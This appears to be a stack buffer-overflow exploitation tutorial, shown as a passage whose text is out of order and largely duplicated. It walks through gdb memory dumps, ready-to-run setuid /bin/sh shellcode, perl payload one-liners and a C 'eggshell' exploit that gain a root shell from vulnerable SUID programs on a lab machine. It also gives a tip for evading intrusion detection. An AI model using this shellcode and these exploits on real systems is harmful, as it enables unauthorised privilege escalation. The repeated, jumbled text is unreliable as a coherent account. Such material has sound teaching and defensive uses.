0xbffffbd0: 0x5352e389 0x428de189 0xcd623078 0x61616180
0xbffffbe0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffbf0: 0xfffba061 0x4f4800bf 0x414e5453 0x623d454d
0xbffffc00: 0x77616b61 0x00696c61 0x4c454853 0x622f3d4c
0xbffffc10: 0x622f6e69 0x00687361 0x4d524554 0x6574783d
0xbffffc20: 0x48006d72 0x53545349 0x3d455a49 0x30303031
0xbffffc30: 0x48535300 0x494c435f 0x3d544e45 0x66663a3a
0xbffffc40: 0x313a6666 0x312e3136 0x312e3234 0x312e3435
0xbffffc50: 0x31203130 0x20383430 0x53003232 0x545f4853
(gdb) x/x $ebp
0xbffff9c8: 0xbffffa28
(gdb) x/x $ebp+4
0xbffff9cc: 0x00689e33
(gdb) x/x $ebp-4
0xbffff9c4: 0x0066dc80
(gdb) x/x $esp
0xbffff940: 0x6f6e2800
(gdb) q
The program is running. Exit anyway? (y or n) y
The important part of the memory location has been highlighted with color. Next, get an address of the NOPs area. If the chosen address of the NOPs fails, try another adjacent address. The most important thing here the chosen return address must be pointing the NOPs area. Let try the following address.
0xbffffba0
Rearrange in hexadecimal representation.
\xbf\xff\xfb\xa0
Little endian the return address.
\xa0\xfb\xff\xbf
Then, based on our previous arrangement,
NOPs (72 bytes) + Shellcode (32 bytes) + ‘A’ characters (20 bytes) + Return address (4 bytes-pointing back to the NOP area) = 72 + 32 + 20 + 4 = 128 bytes
Replace the return address of the return address part in the original argument. Take note that this is a one line command.
`perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Re-run the program with this new argument.
[bodo@lethalcode testbed2]$ whoami
bodo
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80
\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
sh-3.00# whoami
root
sh-3.00# id
uid=0(root) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
sh-3.00# su -
[root@lethalcode ~]# whoami
root
[root@lethalcode ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t
[root@lethalcode ~]#
Well, we got root in the first try! And the rest is history :o)…We passed the input strings to our program through the argv[1] (as the command line first argument). Then in the program, the strcpy() copied the input into the stack’s buffer without verifying the size, overwriting the return address nicely with an address that pointing back to the stack area. When the program finished, instead of returning back to system/OS, it return to the stack area, start executing the NOPs and proceeded to our shellcode that spawned a root shell. Our final stack layout that has been over flown should be looked something like the following:
Spawning a root shell exploit - mission accomplished
Figure 4: Spawning a root shell exploit - mission accomplished.
EXAMPLE #2 – USING THE EGGSHELL
What is eggshell?
Using the classic method as shown in the previous example quite lousy isn’t it? In most cases, buffer can be too small to hold the exploit code. Let try another example using what is called an eggshell. Here, we create an eggshell on the heap that is a self-contained exploit code, and then we pass this eggshell to the environment variable, as our command line vulnerable program’s argument. Next we run the vulnerable program with argument read from the environment variable. Using this approach the exploit code can be arbitrary longer and may be the method of choice for local exploits because you need an access to environment variable. An example of the eggshell program is shown below.
/* exploit.c */
#include <unistd.h>
#include <stdlib.h>
/* default offset is 0 */
#define DEFOFFSET 0
/* default buffer size is 512, by knowing that our vulnerable */
/* program’s buffer is 512 bytes */
#define DEFBUFFSIZE 512
/* No-operation instruction */
#define NOP 0x90
/* our shellcode that spawn a root shell */
char hellcode[ ] = "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
/* getting the esp, so that we can determine the return address */
unsigned long getesp(void)
{__asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
/* declare and initialize some of the variables */
char *buff, *ptr;
long *addr_ptr, retaddr;
int i, offset=DEFOFFSET, buffsize=DEFBUFFSIZE;
/* If 1st argument supplied, it is the buffer size, else use default */
if(argc>1)
buffsize = atoi(argv[1]);
/* If 2nd argument is supplied, it is the offset, else use default */
if(argc>2)
offset = atoi(argv[2]);
/* using the heap buffer, for our string construction */
if(!(buff = malloc(buffsize)))
{printf("Memory allocation for buffer failed lor!\n");
exit (0);
}
/* get the return address */
retaddr = getesp() - offset;
/* just to display some data */
printf("Using the address: %0X\n", retaddr);
printf("The offset is: %0X\n", offset);
printf("The buffer size is: %0x\n", buffsize);
ptr = buff;
addr_ptr = (long *)ptr;
/* copy the return address into the buffer, by word size */
for (i=0; i< buffsize; i+=4)
*(addr_ptr++) = retaddr;
/* copy half of the buffer with NOP, by byte size */
for (i=0; i < buffsize/2; i++)
buff[i] = NOP;
/* copy the shellcode after the NOPs, by byte */
ptr = buff + ((buffsize/2) - (strlen(hellcode)/2));
for (i=0; i < strlen(hellcode); i++)
*(ptr++) = hellcode[i];
/* Terminate the string’s buffer with NULL */
buff[buffsize-1] = '\0';
/* Now that we've got the string built */
/* Copy the "EGG=" string into the buffer, so that we have "EGG=our_string" */
memcpy(buff, "EGG=", 4);
/* Put the buffer, "EGG=our_string", in the environment variable,
as an input for our vulnerable program*/
putenv(buff);
/* run the root shell, after the overflow */
system("/bin/bash");
return 0;
}
Compile and run the program. You can use the following program to verify the string in the environment variable, or use set or env commands.
/* testenv.c */
#include <unistd.h>
int main()
{
char *descr = getenv("EGG");
if (descr)
printf("Value of EGG is: %s\n", descr);
else
printf("The environment variable not defined lor!\n");
return 0;
}
Our vulnerable program is shown below. This is SUID program. We declare xbuff[512], so we need 512 and more to overflow the buffer in the stack.
/* vul.c */
#include <unistd.h>
int main(int argc, char *argv[])
{
char xbuff[512];
if(argc >1)
strcpy(xbuff, argv[1]);
return 0;
}
Or as previously done you can verify that by running the program in gdb as shown below:
[bodo@lethalcode testbed3]$ gdb -q vul
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x08048368 <main+0>: push %ebp
0x08048369 <main+1>: mov %esp, %ebp
0x0804836b <main+3>: sub $0x208, %esp
0x08048371 <main+9>: and $0xfffffff0, %esp
0x08048374 <main+12>: mov $0x0, %eax
0x08048379 <main+17>: add $0xf, %eax
0x0804837c <main+20>: add $0xf, %eax
...
[Trimmed]
...
0x08048396 <main+46>: pushl (%eax)
0x08048398 <main+48>: lea 0xfffffdf8(%ebp), %eax
0x0804839e <main+54>: push %eax
0x0804839f <main+55>: call 0x80482b0 <_init+56>
0x080483a4 <main+60>: add $0x10, %esp
0x080483a7 <main+63>: mov $0x0, %eax
0x080483ac <main+68>: leave
0x080483ad <main+69>: ret
End of assembler dump.
(gdb) q
[bodo@lethalcode testbed3]$
So there are 520 (0x208) bytes reserved for the stack’s buffer. We need 528 and more to overwrite the return address. Follow these steps (using the default offset):
Compile the exploit.c program with buffer size as an argument.
Optionally, verify the environment string of the EGG.
Then, compile the vul.c program and SUID it.
Run the vul program with $EGG as an argument.
If fails, repeat from step 1, by adding another 100 bytes to the argument (the buffer size).
[bodo@lethalcode testbed3]$ ls -F -l
total 60
-rwxrwxr-x 1 bodo bodo 7735 Feb 17 22:32 exploit*
-rw-rw-r-- 1 bodo bodo 1107 Feb 17 22:32 exploit.c
-rwxrwxr-x 1 bodo bodo 6147 Feb 27 18:19 testenv*
-rw-rw-r-- 1 bodo bodo 206 Feb 27 18:18 testenv.c
-rwsr-xr-x 1 root root 5989 Feb 17 22:24 vul*
-rw-rw-r-- 1 bodo bodo 121 Feb 17 21:16 vul.c
[bodo@lethalcode testbed3]$ whoami
bodo
[bodo@lethalcode testbed3]$ id
uid=502(bodo) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
Let try using 612 (512 + 100) for the string’s buffer size.
[bodo@lethalcode testbed3]$ ./exploit 612
Using the address: BFFFFA28
The offset is: 0
The buffer size is: 264
[bodo@lethalcode testbed3]$ ./testenv
Value of EGG is: 1ÀðÍ1ÒRhn/shh//biãRSá Íÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿
(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿
(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ
[bodo@lethalcode testbed3]$ ./vul $EGG
Segmentation fault
[bodo@lethalcode testbed3]$
First try failed. So, add another 100 bytes for the buffer size. Repeat the previous steps.
[bodo@lethalcode testbed3]$ ./exploit 712
Using the address: BFFFF7D8
The offset is: 0
The buffer size is: 2c8
[bodo@lethalcode testbed3]$ ./vul $EGG
sh-3.00# whoami
root
sh-3.00# id
uid=0(root) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
sh-3.00# su -
[root@lethalcode ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t
Well, we got root in our second try and our exploit code can be longer. Yihaaaaaaaaaaaaaaaaaaaaaa!!!!
CLICK HERE
Warning: All the security setting for buffer overflow protection (non-executable stack and randomization of the certain portion of memory addresses) of the test Linux Fedora machine used in this section has been disabled for the educational purpose of the demonstration. Do not do this on your production machines! OS: Fedora 3, 2.6.11.x kernel with several updates.
CLICK HERE
With the knowledge that we supposedly have acquired, let test the stack based buffer overflow in the real vulnerable program.
SOME BACKGROUND STORY OF THE SUID
In certain circumstances, unprivileged users must be able to accomplish tasks that require privileges. An example is the passwd program, which allows normal user to change their password. Changing a user’s password requires modifying the password field in the /usr/bin/passwd file. However, you should not give a user access to change this file directly because the user could change everybody else’s password as well. To get around these problems, Linux/Unix allows programs to be endowed with privilege. Processes executing these programs can assume another UID (User Identifier) or GID (Group Identifier) when they’re running. A program that changes its UID is called a SUID program (set-UID); a program that changes its GID is called a SGID program (set-GID). A program can be both SUID and SGID at the same time. In Windows it may be similar to RunAs. When a SUID program is run, its effective UID becomes that of the owner of the file, rather than of the user who is running it.
THE POSSIBLE PROBLEM
Any program can be SUID/ SGID, or both SUID and SGID. Because this feature is so general, SUID/SGID can open up some interesting security problems. For example, any user can become the superuser simply by running a SUID copy of csh that is owned by root (you must be root to create a SUID version of the csh). Executable SUID and SGID files or program when run by a normal user may have access to resources not normally available to the user running the program (note the owner vs user of the files). For example:
[bodo@lethalcode /]$ls -l /home/bodo/testbed2/test
-rwsr-xr-x 1 root root 6312 Feb 15 23:11 /home/bodo/testbed2/test
[bodo@lethalcode /]$ls -l /sbin/netreport
-rwxr-sr-x 1 root root 10851 Nov 4 13:48 /sbin/netreport
[bodo@lethalcode /]$
The s in the owner’s and group’s permission field in place of the usual x as in the listing above indicates that executable test program is SUID and netreport is SGID. If run by a normal user, the executable will run with the privileges of the owner/group of the file, in this case as root. In this case the program will have access to the same system resources as root (but the limit is defined by what the program can do). These SGID and SUID programs may be used by a cracker as a normal user to gain root privilege. You can try listing all of the SUID and SGID files on your system with the following find command:
[root@lethalcode /]#find / -perm -004000 -o -perm -002000 -type f
This find command starts in the root directory (/) and looks for all files that match mode 002000 (SGID) or mode 004000 (SUID). The -type f option causes the search to be restricted to files. For the basic attack you can use the root owned, world writable files and directories. These files and directories can be listed by using the following find command:
[root@lethalcode /]#find / -user root -perm -022
You can set/unset SUID or SGID privileges with the chmod command. For example:
chmod 4xxx file_name or chmod +s file_name - SUID
chmod 2xxx file_name - GUID
EXAMPLE #1-EXPLOIT DEMONSTRATION
In our exploit example we are going to overflow the stack using a SUID program. In this exploit we as normal user are going to spawn a local root shell by overflowing the program owned by root. The vulnerable program used is shown below. This is a SUID program.
/* test.c */
#include <unistd.h>
int main(int argc, char *argv[])
{
char buff[100];
/*if no argument…*/
if(argc <2)
{
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
return 0;
}
The shellcode used to spawn a root shell is as follows:
\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
In our vulnerable program we have declared an array buff[100] of size 100. We use vulnerable functions, strcpy(), that do not do the bound checking of the input. We are going to overflow the stack of this program by supplying more than 100 characters until the return address is properly overwritten and pointing back to the stack which we have stored our ‘root spawning’ shellcode. By simple observation and calculation, the stack frame for this program should be as follows:
Spawning a root shell exploit - a stack layout
Figure 1: Spawning a root shell exploit - a stack layout.
Let run the program with same sample inputs. Firstly, compile the test.c, change the owner and group to root and suid the program then change back to normal user, so that we as normal user can run the program that owned by root.
[bodo@lethalcode testbed2]$ gcc -g test.c -o test
[bodo@lethalcode testbed2]$ ls -l
total 20
-rwxrwxr-x 1 bodo bodo 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[bodo@lethalcode testbed2]$ su
Password: *****
[root@lethalcode testbed2]# chown 0:0 test
[root@lethalcode testbed2]# ls -l
total 20
-rwxrwxr-x 1 root root 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[root@lethalcode testbed2]# chmod 4755 test
[root@lethalcode testbed2]# ls -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[root@lethalcode testbed2]# exit
exit
[bodo@lethalcode testbed2]$
From the previous stack layout, in order to overwrite the return address we need to supply 108 characters or at least 104 to start the overwriting. Let verify this fact by running the program with some sample inputs.
[bodo@lethalcode testbed2]$ ls -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 15 23:11 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[bodo@lethalcode testbed2]$ ls -F -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 25 23:18 test*
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c*
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x100'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x104'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x108'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x116'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x120'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x124'`
Segmentation fault
[bodo@lethalcode testbed2]$
Well, we need at least 124 bytes instead of 104. So what happened here? Let examine the program using gdb.
[bodo@lethalcode testbed2]$ gdb -q test
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483d0 <main+0>: push %ebp
0x080483d1 <main+1>: mov %esp, %ebp
0x080483d3 <main+3>: sub $0x78, %esp
0x080483d6 <main+6>: and $0xfffffff0, %esp
0x080483d9 <main+9>: mov $0x0, %eax
...
[Trimmed]
...
0x08048425 <main+85>: add $0x10, %esp
0x08048428 <main+88>: mov $0x0, %eax
0x0804842d <main+93>: leave
0x0804842e <main+94>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb)
By disassembling the main(), we can see that 120 (0x78) bytes have been reserved instead of 100. There are some changes here; the stack is aligned by 16 bytes after gcc 2.96. So when main() function is called, the space for a local variable is padded by 16 bytes. Newer version of gcc may also behave differently. It is better for you to use your gdb to verify this. You also can test this by running the following program. Change the n to different values and verify the buffer reserved on the stack by using gdb.
/****testbuf.c******/
int main(int argc, char *argv[])
{
char buffer[n];
strcpy(buffer, argv[1]);
return 0;
}
Back to our program, the stack now should be like this:
Spawning a root shell exploit - stack's content arrangement
Figure 2: Spawning a root shell exploit - stack's content arrangement.
So, we need at least 124 bytes to start overwriting the saved ebp and 128 bytes to overwrite the return address. Our stack arrangement should be something like the following:
NOPs (72 bytes) + Shellcode (32 bytes) + ‘A’ characters (20 bytes) + Return address (4 bytes-pointing back to the NOPs area) = 72 + 32 + 20 + 4 = 128 bytes
Using the perl’s print command for easiness, our input/argument arrangement is as follows. This is a one line command.
`perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
In order to make our chances higher in hitting our shellcodes, we pad at the beginning of the stack with NOP (executable no-operation instruction-\x90 for x86). Though guess work might still be required, the return address must not be as precise anymore; it is enough to hit the NOPs area. Now our stack layout should be something like the following:
Spawning a root shell exploit - stack's content arrangement with NOPs and shellcodes
Figure 3: Spawning a root shell exploit - stack's content arrangement with NOPs and shellcodes.
Other Intel x86 instructions that can be used to replace NOPs (because NOPs are easily detected by Intrusion Detection System – IDS) can be found at the following links: NOP equivalent instructions or you can check the processor’s instruction set documentation. Next, let verify the return address of our program by running it in gdb with some sample input/argument as constructed previously.
[bodo@lethalcode testbed2]$ gdb -q test
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483ec: file test.c, line 7.
(gdb) r `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f
\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Starting program: /home/bodo/testbed2/test `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69
\x89\xe3\x52\x53\x89\xe1\x8d\x42x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Breakpoint 1, main (argc=2, argv=0xbffffa54) at test.c:7
7 if(argc <2)
(gdb) step
11 strcpy(buff, argv[1]);
(gdb) x/200x $esp
0xbffff940: 0x6f6e2800 0x0029656e 0xbffff994 0x00000000
0xbffff950: 0xbffff994 0x00000000 0x00000000 0x00000000
0xbffff960: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff970: 0x00000000 0x00000000 0x0177ff8e 0xbffffa00
0xbffff980: 0x0066e4f8 0x00000000 0x00000000 0x00000000
...
[Trimmed]
...
0xbffffa40: 0x08048484 0x006643d0 0xbffffa4c 0x0066af11
0xbffffa50: 0x00000002 0xbffffb5a 0xbffffb73 0x00000000
0xbffffa60: 0xbffffbf6 0xbffffc08 0xbffffc18 0xbffffc23
0xbffffa70: 0xbffffc31 0xbffffc5b 0xbffffc6e 0xbffffc78
0xbffffa80: 0xbffffe3b 0xbffffe47 0xbffffe52 0xbffffea4
0xbffffa90: 0xbffffebe 0xbffffeca 0xbffffee2 0xbffffef7
0xbffffaa0: 0xbfffff08 0xbfffff11 0xbfffff44 0xbfffff54
0xbffffab0: 0xbfffff5c 0xbfffff69 0xbfffffac 0xbfffffce
0xbffffac0: 0x00000000 0x00000010 0x0383f3ff 0x00000006
0xbffffad0: 0x00001000 0x00000011 0x00000064 0x00000003
...
[Trimmed]
...
0xbffffb30: 0x00000000 0x0000000f 0xbffffb4b 0x00000000
0xbffffb40: 0x00000000 0x00000000 0x69000000 0x00363836
---Type <return> to continue, or q <return> to quit---
0xbffffb50: 0x00000000 0x00000000 0x682f0000 0x2f656d6f
0xbffffb60: 0x6f646f62 0x7365742f 0x64656274 0x65742f32
0xbffffb70: 0x90007473 0x90909090 0x90909090 0x90909090
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb0: 0x90909090 0x90909090 0x31909090 0xb0c389c0
0xbffffbc0: 0x3180cd17 0x6e6852d2 0x6868732f 0x69622f2f
0xbffffbd0: 0x5352e389 0x428de189 0xcd623078 0x61616180
0xbffffbe0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffbf0: 0xfffba061 0x4f4800bf 0x414e5453 0x623d454d
0xbffffc00: 0x77616b61 0x00696c61 0x4c454853 0x622f3d4c
0xbffffc10: 0x622f6e69 0x00687361 0x4d524554 0x6574783d
0xbffffc20: 0x48006d72 0x53545349 0x3d455a49 0x30303031
0xbffffc30: 0x48535300 0x494c435f 0x3d544e45 0x66663a3a
0xbffffc40: 0x313a6666 0x312e3136 0x312e3234 0x312e3435
0xbffffc50: 0x31203130 0x20383430 0x53003232 0x545f4853
(gdb) x/x $ebp
0xbffff9c8: 0xbffffa28
(gdb) x/x $ebp+4
0xbffff9cc: 0x00689e33
(gdb) x/x $ebp-4
0xbffff9c4: 0x0066dc80
(gdb) x/x $esp
0xbffff940: 0x6f6e2800
(gdb) q
The program is running. Exit anyway? (y or n) y
The important part of the memory location has been highlighted with color. Next, get an address of the NOPs area. If the chosen address of the NOPs fails, try another adjacent address. The most important thing here the chosen return address must be pointing the NOPs area. Let try the following address.
0xbffffba0
Rearrange in hexadecimal representation.
\xbf\xff\xfb\xa0
Little endian the return address.
\xa0\xfb\xff\xbf
Then, based on our previous arrangement,
NOPs (72 bytes) + Shellcode (32 bytes) + ‘A’ characters (20 bytes) + Return address (4 bytes-pointing back to the NOP area) = 72 + 32 + 20 + 4 = 128 bytes
Replace the return address of the return address part in the original argument. Take note that this is a one line command.
`perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Re-run the program with this new argument.
[bodo@lethalcode testbed2]$ whoami
bodo
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80
\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
sh-3.00# whoami
root
sh-3.00# id
uid=0(root) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
sh-3.00# su -
[root@lethalcode ~]# whoami
root
[root@lethalcode ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t
[root@lethalcode ~]#
Well, we got root in the first try! And the rest is history :o)…We passed the input strings to our program through the argv[1] (as the command line first argument). Then in the program, the strcpy() copied the input into the stack’s buffer without verifying the size, overwriting the return address nicely with an address that pointing back to the stack area. When the program finished, instead of returning back to system/OS, it return to the stack area, start executing the NOPs and proceeded to our shellcode that spawned a root shell. Our final stack layout that has been over flown should be looked something like the following:
Spawning a root shell exploit - mission accomplished
Figure 4: Spawning a root shell exploit - mission accomplished.
EXAMPLE #2 – USING THE EGGSHELL
What is eggshell?
Using the classic method as shown in the previous example quite lousy isn’t it? In most cases, buffer can be too small to hold the exploit code. Let try another example using what is called an eggshell. Here, we create an eggshell on the heap that is a self-contained exploit code, and then we pass this eggshell to the environment variable, as our command line vulnerable program’s argument. Next we run the vulnerable program with argument read from the environment variable. Using this approach the exploit code can be arbitrary longer and may be the method of choice for local exploits because you need an access to environment variable. An example of the eggshell program is shown below.
/* exploit.c */
#include <unistd.h>
#include <stdlib.h>
/* default offset is 0 */
#define DEFOFFSET 0
/* default buffer size is 512, by knowing that our vulnerable */
/* program’s buffer is 512 bytes */
#define DEFBUFFSIZE 512
/* No-operation instruction */
#define NOP 0x90
/* our shellcode that spawn a root shell */
char hellcode[ ] = "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
/* getting the esp, so that we can determine the return address */
unsigned long getesp(void)
{__asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
/* declare and initialize some of the variables */
char *buff, *ptr;
long *addr_ptr, retaddr;
int i, offset=DEFOFFSET, buffsize=DEFBUFFSIZE;
/* If 1st argument supplied, it is the buffer size, else use default */
if(argc>1)
buffsize = atoi(argv[1]);
/* If 2nd argument is supplied, it is the offset, else use default */
if(argc>2)
offset = atoi(argv[2]);
/* using the heap buffer, for our string construction */
if(!(buff = malloc(buffsize)))
{printf("Memory allocation for buffer failed lor!\n");
exit (0);
}
/* get the return address */
retaddr = getesp() - offset;
/* just to display some data */
printf("Using the address: %0X\n", retaddr);
printf("The offset is: %0X\n", offset);
printf("The buffer size is: %0x\n", buffsize);
ptr = buff;
addr_ptr = (long *)ptr;
/* copy the return address into the buffer, by word size */
for (i=0; i< buffsize; i+=4)
*(addr_ptr++) = retaddr;
/* copy half of the buffer with NOP, by byte size */
for (i=0; i < buffsize/2; i++)
buff[i] = NOP;
/* copy the shellcode after the NOPs, by byte */
ptr = buff + ((buffsize/2) - (strlen(hellcode)/2));
for (i=0; i < strlen(hellcode); i++)
*(ptr++) = hellcode[i];
/* Terminate the string’s buffer with NULL */
buff[buffsize-1] = '\0';
/* Now that we've got the string built */
/* Copy the "EGG=" string into the buffer, so that we have "EGG=our_string" */
memcpy(buff, "EGG=", 4);
/* Put the buffer, "EGG=our_string", in the environment variable,
as an input for our vulnerable program*/
putenv(buff);
/* run the root shell, after the overflow */
system("/bin/bash");
return 0;
}
Compile and run the program. You can use the following program to verify the string in the environment variable, or use set or env commands.
/* testenv.c */
#include <unistd.h>
int main()
{
char *descr = getenv("EGG");
if (descr)
printf("Value of EGG is: %s\n", descr);
else
printf("The environment variable not defined lor!\n");
return 0;
}
Our vulnerable program is shown below. This is SUID program. We declare xbuff[512], so we need 512 and more to overflow the buffer in the stack.
/* vul.c */
#include <unistd.h>
int main(int argc, char *argv[])
{
char xbuff[512];
if(argc >1)
strcpy(xbuff, argv[1]);
return 0;
}
Or as previously done you can verify that by running the program in gdb as shown below:
[bodo@lethalcode testbed3]$ gdb -q vul
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x08048368 <main+0>: push %ebp
0x08048369 <main+1>: mov %esp, %ebp
0x0804836b <main+3>: sub $0x208, %esp
0x08048371 <main+9>: and $0xfffffff0, %esp
0x08048374 <main+12>: mov $0x0, %eax
0x08048379 <main+17>: add $0xf, %eax
0x0804837c <main+20>: add $0xf, %eax
...
[Trimmed]
...
0x08048396 <main+46>: pushl (%eax)
0x08048398 <main+48>: lea 0xfffffdf8(%ebp), %eax
0x0804839e <main+54>: push %eax
0x0804839f <main+55>: call 0x80482b0 <_init+56>
0x080483a4 <main+60>: add $0x10, %esp
0x080483a7 <main+63>: mov $0x0, %eax
0x080483ac <main+68>: leave
0x080483ad <main+69>: ret
End of assembler dump.
(gdb) q
[bodo@lethalcode testbed3]$
So there are 520 (0x208) bytes reserved for the stack’s buffer. We need 528 and more to overwrite the return address. Follow these steps (using the default offset):
Compile the exploit.c program with buffer size as an argument.
Optionally, verify the environment string of the EGG.
Then, compile the vul.c program and SUID it.
Run the vul program with $EGG as an argument.
If fails, repeat from step 1, by adding another 100 bytes to the argument (the buffer size).
[bodo@lethalcode testbed3]$ ls -F -l
total 60
-rwxrwxr-x 1 bodo bodo 7735 Feb 17 22:32 exploit*
-rw-rw-r-- 1 bodo bodo 1107 Feb 17 22:32 exploit.c
-rwxrwxr-x 1 bodo bodo 6147 Feb 27 18:19 testenv*
-rw-rw-r-- 1 bodo bodo 206 Feb 27 18:18 testenv.c
-rwsr-xr-x 1 root root 5989 Feb 17 22:24 vul*
-rw-rw-r-- 1 bodo bodo 121 Feb 17 21:16 vul.c
[bodo@lethalcode testbed3]$ whoami
bodo
[bodo@lethalcode testbed3]$ id
uid=502(bodo) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
Let try using 612 (512 + 100) for the string’s buffer size.
[bodo@lethalcode testbed3]$ ./exploit 612
Using the address: BFFFFA28
The offset is: 0
The buffer size is: 264
[bodo@lethalcode testbed3]$ ./testenv
Value of EGG is: 1ÀðÍ1ÒRhn/shh//biãRSá Íÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿
